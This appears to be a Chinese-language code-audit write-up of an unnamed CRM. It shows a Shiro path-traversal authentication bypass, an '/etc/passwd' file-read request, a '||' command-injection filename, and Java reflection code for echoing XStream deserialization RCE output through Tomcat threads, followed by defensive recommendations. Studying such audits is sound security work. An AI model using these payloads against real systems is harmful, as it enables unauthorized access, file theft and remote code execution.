某CRM代码审计之旅-多漏洞绕过与发现
字数 1102 2025-08-29 08:30:30

某CRM系统代码审计与漏洞利用分析

1. 权限绕过漏洞分析

1.1 漏洞背景

该系统使用Apache Shiro进行权限验证,配合Spring框架存在认证绕过漏洞。

1.2 漏洞原理

Shiro通过PathMatchingFilterChainResolver#getChain方法匹配路由和过滤器:

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
    FilterChainManager filterChainManager = this.getFilterChainManager();
    if (!filterChainManager.hasChains()) {
        return null;
    } else {
        String requestURI = this.getPathWithinApplication(request);
        // ...处理URI...
    }
}

关键处理流程:

  1. Shiro的getRequestUri方法处理URL:

    • decodeAndCleanUriString: 保留分号(;)前的路径
    • normalize: 标准化路径(处理...等)
  2. Spring的UrlPathHelper处理URL:

    • removeSemicolonContent: 移除分号内容
    • 最终处理为实际路径

1.3 漏洞利用

配置示例:

map.put("/home/**","anon");  // 无需认证
map.put("/admin/*","authc"); // 需要认证

构造恶意URL:

/home/..;/admin/xxx

处理流程:

  1. Shiro获取URI为/home/..,匹配/home/**规则放行
  2. Spring处理为/home/../admin/xxx → 实际访问/admin/xxx

2. 任意文件读取漏洞

2.1 漏洞位置

xxxLogController类的download方法:

public void download(String path, HttpServletRequest request, HttpServletResponse response) {
    File file = new File(path);
    InputStream fis = new BufferedInputStream(new FileInputStream(path));
    // ...读取文件内容并返回...
}

2.2 漏洞复现

  1. 直接访问受保护端点会被重定向到登录页
  2. 使用权限绕过技术访问:
    /home/..;/download?path=/etc/passwd
    

3. 命令执行漏洞

3.1 漏洞位置

exeCommand方法:

private void exeCommand(String command) throws IOException {
    Runtime runtime = Runtime.getRuntime();
    Process exec = runtime.exec(command);
    // ...
}

doRestore方法调用:

public void doRestore(String fileName) {
    String sbCommand = "cmd /c " + mysqlPath + "mysql -u" + username 
        + " -p" + password + " -h" + host + " -P" + port 
        + " -B " + database + " < " + exportPath + fileName;
    this.exeCommand(sbCommand.toString());
}

3.2 漏洞利用

通过||操作符注入命令:

fileName = "test.sql || calc.exe"

最终执行:

cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < test.sql || calc.exe

3.3 调用链

Controller层方法:

@RequestMapping("/restore")
public String doRestore(@RequestParam String fileName) {
    this.backupService.doRestore(fileName);
    // ...
}

4. XStream反序列化漏洞

4.1 漏洞位置

WechatxxxService类中使用fromXML处理请求体:

XStream.fromXML(requestBody);

4.2 漏洞复现

使用XStream反序列化POC,利用TemplatesImpl类实现RCE。

4.3 回显技术

通过线程获取Request和Response对象:

  1. 获取线程:

    Thread[] threads = (Thread[]) Thread.class.getMethod("getThreads").invoke(null);
    
  2. 查找Tomcat工作线程:

    • http-nio-8080-Acceptor
    • http-nio-8080-Poller
  3. 反射获取Request和Response:

    // 从Acceptor线程获取NioEndpoint
    Field endpointField = acceptorTarget.getClass().getDeclaredField("endpoint");
    Object endpoint = endpointField.get(acceptorTarget);
    
    // 获取ConnectionHandler
    Field handlerField = endpoint.getClass().getDeclaredField("handler");
    Object handler = handlerField.get(endpoint);
    
    // 获取RequestGroupInfo
    Field globalField = handler.getClass().getSuperclass().getDeclaredField("global");
    Object global = globalField.get(handler);
    
    // 获取Processor列表
    Field processorsField = global.getClass().getDeclaredField("processors");
    ArrayList processors = (ArrayList) processorsField.get(global);
    
    // 获取Request和Response
    Field reqField = processor.getClass().getDeclaredField("req");
    Object request = reqField.get(processor);
    
    Object catalinaRequest = request.getClass().getMethod("getNote", int.class).invoke(request, 1);
    Object response = catalinaRequest.getClass().getMethod("getResponse").invoke(catalinaRequest);
    
  4. 写回响应:

    Writer writer = (Writer) response.getClass().getMethod("getWriter").invoke(response);
    writer.write(commandResult);
    

5. 防御建议

  1. Shiro权限绕过

    • 升级Shiro到最新版本
    • 实现自定义的PathMatchingFilterChainResolver
  2. 任意文件读取

    • 校验文件路径
    • 使用白名单限制可访问目录
  3. 命令执行

    • 避免直接拼接命令
    • 使用参数化查询
  4. 反序列化

    • 升级XStream版本
    • 配置安全框架限制反序列化类
    • 使用JSON替代XML
  5. 通用防御

    • 实施严格的输入验证
    • 遵循最小权限原则
    • 定期安全审计和代码审查
某CRM系统代码审计与漏洞利用分析 1. 权限绕过漏洞分析 1.1 漏洞背景 该系统使用Apache Shiro进行权限验证,配合Spring框架存在认证绕过漏洞。 1.2 漏洞原理 Shiro通过 PathMatchingFilterChainResolver#getChain 方法匹配路由和过滤器: 关键处理流程: Shiro的 getRequestUri 方法处理URL: decodeAndCleanUriString : 保留分号(;)前的路径 normalize : 标准化路径(处理 .. 、 . 等) Spring的 UrlPathHelper 处理URL: removeSemicolonContent : 移除分号内容 最终处理为实际路径 1.3 漏洞利用 配置示例: 构造恶意URL: 处理流程: Shiro获取URI为 /home/.. ,匹配 /home/** 规则放行 Spring处理为 /home/../admin/xxx → 实际访问 /admin/xxx 2. 任意文件读取漏洞 2.1 漏洞位置 在 xxxLogController 类的 download 方法: 2.2 漏洞复现 直接访问受保护端点会被重定向到登录页 使用权限绕过技术访问: 3. 命令执行漏洞 3.1 漏洞位置 在 exeCommand 方法: 被 doRestore 方法调用: 3.2 漏洞利用 通过 || 操作符注入命令: 最终执行: 3.3 调用链 Controller层方法: 4. XStream反序列化漏洞 4.1 漏洞位置 在 WechatxxxService 类中使用 fromXML 处理请求体: 4.2 漏洞复现 使用XStream反序列化POC,利用 TemplatesImpl 类实现RCE。 4.3 回显技术 通过线程获取Request和Response对象: 获取线程: 查找Tomcat工作线程: http-nio-8080-Acceptor http-nio-8080-Poller 反射获取Request和Response: 写回响应: 5. 防御建议 Shiro权限绕过 : 升级Shiro到最新版本 实现自定义的 PathMatchingFilterChainResolver 任意文件读取 : 校验文件路径 使用白名单限制可访问目录 命令执行 : 避免直接拼接命令 使用参数化查询 反序列化 : 升级XStream版本 配置安全框架限制反序列化类 使用JSON替代XML 通用防御 : 实施严格的输入验证 遵循最小权限原则 定期安全审计和代码审查